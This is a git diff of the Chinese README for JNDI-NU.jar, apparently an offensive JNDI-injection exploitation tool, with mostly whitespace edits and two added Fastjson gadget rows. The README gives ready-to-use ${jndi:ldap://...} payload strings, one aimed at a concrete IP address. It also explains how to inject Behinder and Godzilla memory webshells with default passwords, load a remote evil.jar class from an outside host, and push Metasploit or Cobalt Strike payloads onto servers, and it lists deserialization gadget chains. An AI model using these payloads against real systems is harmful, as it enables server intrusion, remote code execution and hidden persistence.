@@ -18,11 +18,14 @@ Usage: java -jar JNDI-NU.jar [options]
1818
1919* 目前支持的所有 ``` PayloadType ``` 为
2020 * ``` Bypass ``` : 用于rmi本地工厂类加载,通过添加自定义``` header ``` ``` nu1r: whoami ``` 的方式传递想要执行的命令
21- * ``` TomcatEcho ``` : 用于在中间件为 ``` Tomcat ``` 时命令执行结果的回显,通过添加自定义``` header ``` ``` nu1r: whoami ``` 的方式传递想要执行的命令
22- * ``` SpringEcho ``` : 用于在框架为 ``` SpringMVC/SpringBoot ``` 时命令执行结果的回显,通过添加自定义``` header ``` ``` nu1r: whoami ``` 的方式传递想要执行的命令
21+ * ``` TomcatEcho ``` : 用于在中间件为 ``` Tomcat ``` 时命令执行结果的回显,通过添加自定义``` header ``` ``` nu1r: whoami ```
22+ 的方式传递想要执行的命令
23+ * ``` SpringEcho ``` : 用于在框架为 ``` SpringMVC/SpringBoot ```
24+ 时命令执行结果的回显,通过添加自定义``` header ``` ``` nu1r: whoami ``` 的方式传递想要执行的命令
2325 * ``` JbossEcho ``` : Jboss 命令执行回显, 通过添加自定义``` header ``` ``` nu1r: whoami ``` 的方式传递想要执行的命令
2426 * ``` AllEcho ``` : Jboss 命令执行回显, 通过添加自定义``` header ``` ``` nu1r: whoami ``` 的方式传递想要执行的命令
2527 * ``` nu1r ``` :用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输
28+
2629```
2730{{url
2831 (${jndi:ldap://0.0.0.0:1389/TomcatBypass/nu1r/Base64/{{base64
@@ -31,7 +34,6 @@ Usage: java -jar JNDI-NU.jar [options]
3134}}
3235```
3336
34-
3537- 支持tomcatBypass路由直接上线msf:
3638
3739```
@@ -50,12 +52,13 @@ Usage: java -jar JNDI-NU.jar [options]
5052
5153使用说明:
5254不指定类型就默认为冰蝎马。
55+
5356- t 选择内存马的类型
54- - 不指定类型就默认为冰蝎马
55- - bx: 冰蝎内存马,``` key: nu1ryyds ``` , ``` Referer:https://nu1r.cn/ ```
56- - gz: 哥斯拉内存马,``` pass: nu1r ``` , ``` Referer:https://nu1r.cn/ ```
57- - gzraw: 哥斯拉 raw 类型的内存马, ``` pass: nu1r ``` , ``` Referer:https://nu1r.cn/ ```
58- - cmd: cmd命令回显内存马。
57+ - 不指定类型就默认为冰蝎马
58+ - bx: 冰蝎内存马,``` key: nu1ryyds ``` , ``` Referer:https://nu1r.cn/ ```
59+ - gz: 哥斯拉内存马,``` pass: nu1r ``` , ``` Referer:https://nu1r.cn/ ```
60+ - gzraw: 哥斯拉 raw 类型的内存马, ``` pass: nu1r ``` , ``` Referer:https://nu1r.cn/ ```
61+ - cmd: cmd命令回显内存马。
5962- a:是否继承恶意类 AbstractTranslet
6063- o:使用反射绕过
6164- w:Windows下使用Agent写入
@@ -67,6 +70,7 @@ Usage: java -jar JNDI-NU.jar [options]
6770- ht:隐藏内存外壳,输入1: write /jre/lib/charsets.jar 2: write /jre/classes/
6871
6972示例
73+
7074``` shell
7175{{url
7276 (${jndi: ldap:// 111.229.10.212: 1389/ Basic/ tomcatfilterjmx/ shell/ -u path223 -pw 123456 -r tth.cn} )
@@ -119,6 +123,7 @@ RC :Remote Call - 通过 URLClassLoader.loadClass()
119123来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass
120124
121125换成CS或者MSF生成的JAR包,即可完成一键上线。
126+
122127```
123128{{url
124129 (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64
@@ -247,6 +252,8 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命
247252| CommonsCollectionsK4 | org.apache.commons:commons-collections4:4.0 | CC6简化的写法的4.0版 |
248253| CommonsCollectionsK5 | org.apache.commons:commons-collections4:4.0 | CC7的4.0版 |
249254| CommonsCollectionsK6 | org.apache.commons:commons-collections4:4.0 | CC11的4.0版 |
255+ | Fastjson1 | Fastjosn 1.2.48 | |
256+ | Fastjson2 | Fastjosn 2+ | |
250257| Groovy1 | org.codehaus.groovy:groovy:2.3.9 | |
251258| Hibernate1 | org.hibernate:hibernate-core:5.0.7.Final<br />org.hibernate:hibernate-core:4.3.11.Final | |
252259| Hibernate2 | org.hibernate:hibernate-core:5.0.7.Final<br />org.hibernate:hibernate-core:4.3.11.Final | |
@@ -273,9 +280,10 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命
273280
274281- a:恶意类是否继承 AbstractTranslet
275282- o:使用反射绕过
276- ~~ - j:使用 ObjectInputStream/ObjectOutputStream 来构造序列化流~~ (这个构造的流有BUG,还在思考修复)
283+ ~~ - j:使用 ObjectInputStream/ObjectOutputStream 来构造序列化流~~ (这个构造的流有BUG,还在思考修复)
277284
278285* 使用示例:
286+
279287```
280288{{url
281289 (${jndi:ldap://0.0.0.0:1389/Deserialization/[GadgetType]/nu1r/Base64/{{base64
@@ -409,11 +417,13 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance()
409417
410418对于使用了 ` TemplatesImpl ` 类来实现的链子来说,可以使用此方法
411419
412- 如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ` ClassLoader ` 进行加载并实例化。命令使用 ` LF# ` 开头,后面跟指定自定义类字节码文件的绝对路径。
420+ 如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ` ClassLoader `
421+ 进行加载并实例化。命令使用 ` LF# ` 开头,后面跟指定自定义类字节码文件的绝对路径。
413422
414423示例:
415424
416425** class 类文件绝对路径**
426+
417427```
418428{{url
419429 (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections3/nu1r/Base64/{{base64
@@ -447,13 +457,13 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance()
447457
448458![ ] ( https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdownQQ截图20221107151444.png )
449459
450-
451460# 🐳自定义
452461
453462+ 自定义链子
454463
455464在 ` com.nu1r.jndi.gadgets ` 下新建JAVA文件,并实现接口 ObjectPayload 后在 getObject 方法中编写链子逻辑即可。
456465使用
466+
457467```
458468{{url
459469 (${jndi:ldap://0.0.0.0:1389/Deserialization/自定义链子的类名/nu1r/Base64/{{base64
0 commit comments